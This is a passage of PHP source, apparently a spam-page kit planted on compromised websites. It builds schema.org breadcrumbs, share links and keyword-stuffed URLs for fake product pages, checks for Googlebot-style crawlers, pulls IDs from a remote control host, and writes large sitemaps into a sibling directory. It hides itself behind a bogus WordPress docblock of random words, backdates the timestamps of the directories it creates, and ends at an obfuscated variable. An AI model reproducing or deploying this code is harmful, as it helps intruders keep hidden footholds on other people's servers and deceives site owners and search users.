					$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
					$flagNum++;
				}
			}
				
				
			$nowUrl = getalink($id23,$pname);	
			// $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
				
				
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="'.$nowUrl.'"><span itemprop="name">'.$Ptitle.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}else{
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
				}
			}
				
			$nowUrl = getalink($id23,$pname);	
			$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
			// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}
	}
	
	
	return $strBreads;

}

function get_scheme(){
	
	if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) {
		$httpPre= 'https';
	} else {
		$httpPre = 'http';
	}
	
	return $httpPre;
}


function get_shares(){
	
	$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
	$shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
  $shareStr = str_replace('domain',$siteLink,$shareStr);
  
  return $shareStr;
	
}

function getCatLink($CatName,$id23){
		
		global $arrnametime,$arrKeywz,$date_string;		
	
		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";		}else{
			$filePres = $siteLink."/";		}
		
		$CatName = str_replace('&',' ',$CatName);
		$CatName = str_replace('&',' ',$CatName);
		if(JDT == 3){
			
			$CatName = preg_replace('#\s+#i','-',$CatName);
			
			
			while(strstr($CatName,'--'))
				$CatName = str_replace('--','-',$CatName);
			
			$urlMid = $CatName;	
			
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		// BZCAT
		
		global $tpKeyStrCat;
		
		$endNumber = '';
		
		$tpNum = KEYJG * $id23;
		$tpKey = $tpNum % count($date_string);
		$lenStr = strlen($date_string[$tpKey]);
		if($tpKeyStrCat == -1)
			$tpKeyStrCat = (KEYJG + $pid) % $lenStr;
		$tpstr = $date_string[$tpKey];

		$randStr = '';
		$arrNum = array();
		for($i = 0; $i < $lenStr; $i++){
			$vs = $tpstr{$tpKeyStrCat};
			$int_vs = ord($vs);
			if($int_vs >= 100 and $int_vs <= 119){
				$arrNum[] = $int_vs % 10;
				if(count($arrNum) >= 3){
					break;
				}
			}
			
			$tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr;
		}
		
		$catNum = implode('',$arrNum);
		
		$CatName = preg_replace('#\s+#i','-',$CatName);
		$CatName = str_replace('--','-',$CatName);
		$urlMid =  str_replace('--','-',$CatName) . '/category-' . $catNum;
		// $urlMid .= JTHZ;		
		$rtStr = $filePres.$urlMid.'/';
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
			
}
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}


function getRandCId($rqurl){
	global $thisdom;
	
	for($i=0;$i<3;$i++){
		$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
			return $matchId[1];
		}
	}
	
	  
	http_response_code(404);  
	exit; 
	
}

/**
 * balcony flash guilty jungle moist necessity prior tedious wander whereas.
 * adjust apparent applicable avenue burden capture discrimination excess favorable gesture integrate issue jealous lest liable licence manual passion slip split.
 * acknowledge compete entitle expend flexible germ glimpse globe household lest nonsense noticeable omit opponent poverty quotation rescue reveal sensitive shield smash sorrow suspicious universal violence.
 * generate genuine loosen male oblige region scan shield title transmit.
 * barrier horrible infect insignificant likelihood oxygen slender strategic virtual.
 * devise gear maintain massive notify organ semiconductor spot substitute valley vanish.
 * domestic dump duration flee legislation oblige particularly passive passport personnel petrol poverty reliable relief severe spit target tedious temple undergraduate.
 * debate fate glorious highlight loosen naval simplicity tarnest tropical undergo wagon yield.
 * agent appoint approach arbitrary arouse casual coarse distribute entertainment exaggerate molecule numerrous onion personnel rely resemble restrict shallow shift software stripe transform.
 * response adjust calendar discount encounter entitle genius leak liter maximum merchant nevertheless obstacle participate textile vacant whatsoever.
 * abuse beforehand budget dash dusk hint naval numerrous smash tedious tend vivid withstand.
 * adopt authority aware competition fertilizer flock gaze genuine geometry guarantee interpret liberty nylon quotation range relief tendency vertical.
 * response casual ceremony coil collision commit giant hatred mission parade personnel previous prohibit promote resemble shield shiver signature sincere smash strategic substitute temple tremble yield.
 * Internet advertisement cliff comment decline dump elastic exclaim household incident mission naval optimistic parade personal petroleum quotation region reluctant resume reveal slender software tend wax.
 * appeal deposit female grateful horror oral passive scratch security zone.
 * Internet deputy external geography hook inhabitant mainland personal rival yawn.
 * Internet burden catalog data decline disturb elaborate explode favorable favorite gallon gesture global lest liter mission portion range scandal temptation tense thrust tone usage utilify.
 * aspect import mission offend.
 * adapt applicable appropriate dump earthquake explode humble insure issue knot mood poverty quotation reveal simplify stimulate undergraduate vertical.
 *
 * @package WordPress
 */
	

function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}

function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");		
			$tempPid = $key;
		
			$url = getalink($tempPid,$value2);
			
 		if(JDT == 0){

		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../item/productlist' . $arrABC[$gnumber-2] .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-2] .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
			
		}else{
			
			if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../item/productlist' . $arrABC[$gnumber-1] .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
		}
		
		
			
			
			
			
			
	}
	
	
 		if(JDT == 0){
			
				{
		$gFile =  '../item/productlist' . $arrABC[$gnumber-2] .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-2] .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
			
		}else{
			
			{
		$gFile =  '../item/productlist' . $arrABC[$gnumber-1] .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
	
	
		}
	
	
	
	unset($tempArr1);	unset($filenames);	
	echo "生成sitemap成功！";	
}


function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
	
	$filePres = '';	$fileEnds = '';	
	
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
			$tempPid = $key;
				$url = getalink($tempPid,$value2);
		
		 if(JDT == 0){
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../item/sitemap.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			 
			 
			 
		 }else{
			 
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../item/productlist' . $arrABC[$gnumber-1] .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			
			
			 
		 }

		
	
			
			
	}
	
	
	
		 if(JDT == 0){
			
	
	{
		$gFile =  '../item/sitemap.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
	
		 }else{
			 
			 	
	{
		$gFile =  '../item/productlist' . $arrABC[$gnumber-1] .'.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#productlist' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
			 
		 }
	
	
	
	unset($tempArr1);	unset($filenames);	echo "生成sitemap成功！";	
}
	
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 

function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}

function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}



	
////



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}


	function strFilter($str){
		$str = str_replace('`', '', $str);
		$str = str_replace('·', '', $str);
		$str = str_replace('~', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('！', '', $str);
		$str = str_replace('@', '', $str);
		$str = str_replace('#', '', $str);
		$str = str_replace('$', '', $str);
		$str = str_replace('￥', '', $str);
		$str = str_replace('%', '', $str);
		$str = str_replace('^', '', $str);
		$str = str_replace('……', '', $str);
		$str = str_replace('*', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('（', '', $str);
		$str = str_replace('）', '', $str);
		$str = str_replace('-', '', $str);
		$str = str_replace('_', '', $str);
		$str = str_replace('——', '', $str);
		$str = str_replace('+', '', $str);
		$str = str_replace('=', '', $str);
		$str = str_replace('|', '', $str);
		$str = str_replace('\\', '', $str);
		$str = str_replace('[', '', $str);
		$str = str_replace(']', '', $str);
		$str = str_replace('【', '', $str);
		$str = str_replace('】', '', $str);
		$str = str_replace('{', '', $str);
		$str = str_replace('}', '', $str);
		$str = str_replace('；', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('<', '', $str);
		$str = str_replace('>', '', $str);
		$str = str_replace('：', '', $str);
		$str = str_replace('\'', '', $str);
		$str = str_replace('"', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace('，', '', $str);
		$str = str_replace('《', '', $str);
		$str = str_replace('》', '', $str);
		$str = str_replace('.', '', $str);
		$str = str_replace('。', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('/', '', $str);
		$str = str_replace('、', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('？', '', $str);
		$str = str_replace('°', '', $str);
		$str = str_replace('&', '&amp;', $str);
		return trim($str);
	}




	function getalink($pid,$pname=''){
		
		global $arrnametime,$arrKeywz,$arr_word,$date_string;		
		
		
		if(strstr($pname,'#cat#')){
			$tp_pname_arr = explode('#cat#',$pname);
			$pname = $tp_pname_arr[1];
			$precat = $tp_pname_arr[0];
		}
		
		if(function_exists("preg_split")){
			$tpnameArr = preg_split('/\s+/us', $pname);		
		}else{
			$tpnameArr = explode(' ', $pname);
		}
		
		$pnameArr = array();
		foreach($tpnameArr as $tpvs){
			$tpvs = trim($tpvs);
			if($tpvs){
				$pnameArr[] = $tpvs;
			}
		}
		
		$numPname = count($pnameArr);
		
		if($numPname > 3){
			$numLinkKey = round(PNAMELEN * $numPname / 100);
			$yushu = KEYJG % $numPname;
			
			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$numPname;$i++){
				if($i<$yushu){
					$arrLast[] = $pnameArr[$i];
				}else{
					$arrPre[] = $pnameArr[$i];
				}
			}
			
			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$usedNameArr = array();
			for($i=0;$i<$numLinkKey;$i++){
				$usedNameArr[$i] = $arrPre[$i];
			}

			if(count($usedNameArr)){
				$pname = implode(' ',$usedNameArr);
			}
			
		}
		
		if(JDT == 0){
			$precat = strFilter($precat);
			$precat = preg_replace('/\s+/', '-', $precat);
		}
			
		
		$pname = strFilter($pname);

		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
	
		$rsp = '#'. BZPRO .'\d+#';
		$rsp2 = '#\d+-#';
		$rsp3 = '#-\d+#';
		$pname = trim($pname);
		
		
		$pname = trim(str_replace('>>',' ',$pname));
		$pname = preg_replace('/\s+/', '-', $pname);
	
		
		if(JDT == 3){
			
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
	
		
			while(strstr($pname,'&'))
				$pname = str_replace('&','',$pname);
			
			while(strstr($pname,'--'))
				$pname = str_replace('--','-',$pname);
			
			$urlMid = $pname .'-' .$pid;
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
			
			
		$tpNum = KEYJG * $pid; 
		$tpKey = $tpNum % count($date_string);
		$tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]);
		$nums = (KEYJG + $pid) % 2 ? 5 : 6 ;
		
		$randStr = '';
		for($i = 0; $i < $nums; $i++){
			$tpstr = $date_string[$tpKey];
			$randStr .= $tpstr{$tpKeyStr};
			$tpKey = ($tpKey + 1) % count($date_string);
		}
			
		if(strlen($pname) > 235){
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
			$pname = str_replace('&','',$pname);
			$pname = str_replace('&',';',$pname);
			if(function_exists("mb_substr")){
				$pname = mb_substr($pname, 0, 235, 'utf-8');
			}else{
				$pname = substr($pname, 0, 235);
			}
		}	
		
		$precat = preg_replace($rsp,'',$precat);
		$precat = preg_replace($rsp2,'-',$precat);
		$precat = preg_replace($rsp3,'-',$precat);
		$precat = str_replace('&','',$precat);
		$precat = str_replace('>>',' ',$precat);
		$precat = str_replace('&',';',$precat);
		$precat = preg_replace('/\s+/', '-', $precat);

		$pname = preg_replace($rsp,'',$pname);
		$pname = preg_replace($rsp2,'-',$pname);
		$pname = preg_replace($rsp3,'-',$pname);
		
		
			
		if(JDT == 0){
			$urlMid = $precat .'-'. $randStr .'-'. $pname .'-'. $pid;
		}else{
			$urlMid = $precat .'-'. $randStr .'-'. $pname .'-'. $pid;
		}
			

		
			$urlMid .= JTHZ;			$urlMid = str_replace("-/","/",$urlMid);			$urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);		
		
			
			while(strstr($urlMid,'--'))
				$urlMid = str_replace('--','-',$urlMid);	
			// $urlMid = str_replace('/-','/',$urlMid);	
			
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
		return $rtStr;
	}
	
	

  
  
  
	
	
	
// 

	
	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
 
function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 


 
function getarr(){
		global $O00O0O;
